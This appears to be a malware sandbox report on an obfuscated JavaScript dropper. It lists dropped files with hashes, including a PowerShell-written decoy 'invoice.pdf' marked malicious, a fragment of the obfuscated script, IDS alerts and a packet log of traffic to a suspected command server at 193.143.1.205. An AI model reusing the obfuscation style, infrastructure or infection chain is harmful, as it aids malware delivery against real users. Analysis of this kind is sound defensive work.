Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\69b0976b-773f-4b4b-9a09-fa3cb5183c0d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/gWLYZwYIGNPe7oYGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:4WLYZwZGtYGZn3mlind9i4ufFXpAXkru
MD5:	1F3E811175B5D73885F1DD3F2FE1F921
SHA1:	EC3183A73D7D77A44CA4C5C84D8049AB840D3220
SHA-256:	7A48BE8A0B41905F012843995073183E0268612002A31EDA7276923E72E7C3B5
SHA-512:	65FF02B46982E7E15B34BD7F59443B72BB062CC3107A1A4FFC6B66FAB32AE9229D8C48F183E7C4210474698798BD92D7CAB824FA5FDF7C9DC16DFF1182F73186
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\b029d3b5-fc50-4710-b55b-5ba44f6f19ac.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\b2c526be-f189-4b7a-9a3f-24e9de8c54e2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16792), with CRLF line terminators
Entropy (8bit):	4.91000266524344
TrID:
File name:	77502473271720630.js
File size:	20'218 bytes
MD5:	d8ae7270e4634afcbe9d6625c84715a1
SHA1:	5d671adec446b57d9a24a43affa719f6617b46c5
SHA256:	0cc573742e12e6aa17d76da9da907a6152e0d40cdbd1f624f62693c1f30f1d3e
SHA512:	a1d010a0dc4a283b9f781209d23da2232bb0dfb62a041459f623cadbd3457fea8ea118e8088204809bdc6e425eb072165d77543ed87837ca565065e017ce28a1
SSDEEP:	384:vNqeNjOz28XFlbDES1EwNpbH7RzRpT9HS211eePstv+9/DmF:v9NjOz2cFeS1bNSYDmF
TLSH:	14926458EDC8B55E4ED812B0B1990E53A2EC8A2D17FCBE9E04103BF1A61665B50F27F1
File Content Preview:	function phkfbm(){qpvwk=[1031,3079,5127,4103,2055,3072];var wcnmulb=this[jhukqvo+hduoyac+tqzhrqyz+qkenbms+spbub+zladsu+qkaarjkxb+qjlxx](this[wvgintrg+wddpwppit+quahn+tqzhrqyz+sclxzzzb+jhukqvo+qjlxx][wonjdxecr+tqzhrqyz+spbub+hduoyac+qjlxx+spbub+uqlhpt+yppd

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T18:23:28.355930+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.9	49707	193.143.1.205	80	TCP
2025-01-10T18:23:30.821779+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.9	49708	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:23:27.573807955 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:27.579371929 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:27.579607010 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:27.582869053 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:27.588092089 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.355818033 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.355859041 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.355875015 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.355886936 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.355901003 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.355912924 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.355926037 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.355930090 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.355938911 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.355956078 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.355967045 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.355986118 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.356010914 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.360822916 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.360850096 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.360860109 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.360903978 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.401742935 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.401787996 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.401801109 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.446759939 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.476809025 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.476823092 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.476831913 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.476841927 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.476855040 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.476980925 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.477197886 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.477210045 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.477248907 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.477412939 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.477459908 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.477741957 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.477776051 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.477787971 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.477797985 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.477808952 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.477818966 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.477821112 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.477839947 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.477874041 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.478658915 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.478668928 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.478678942 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.478693008 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.478704929 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.478713036 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.478750944 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.479444027 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.479455948 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.479521990 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.529802084 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.529839039 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.529881001 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.566705942 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.566729069 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.566740990 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.566804886 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.566837072 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.597738028 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.597774029 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.597809076 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.597824097 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.597841978 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.597877026 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.597887993 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.597963095 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.598006964 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.598016024 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.598052025 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.598086119 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.598093033 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.598121881 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.598165035 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.598539114 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.598589897 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.598627090 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.598639011 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.598660946 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.598700047 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.598704100 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.598730087 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.598767042 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.599200010 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.599250078 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.599283934 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.599304914 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.599338055 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.599375010 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.599379063 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.599411011 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.599446058 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.599455118 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.600187063 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.600219965 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.600236893 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.600255013 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.600289106 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.600302935 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.600325108 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.600358009 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.600367069 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.600393057 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.600440979 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.600965023 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.601016045 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.601052046 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.601062059 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.601087093 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.601121902 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.601134062 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.601155996 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.601190090 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.601201057 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.601844072 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.601880074 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.601893902 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.601914883 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.601972103 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.616518974 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.616549015 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.616591930 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.616600990 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.616633892 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.616667032 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.616677999 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.653493881 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.653506994 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.653553963 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.687764883 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.687798023 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.687860012 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.687870026 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.687896967 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.687942028 CET	49707	80	192.168.2.9	193.143.1.205
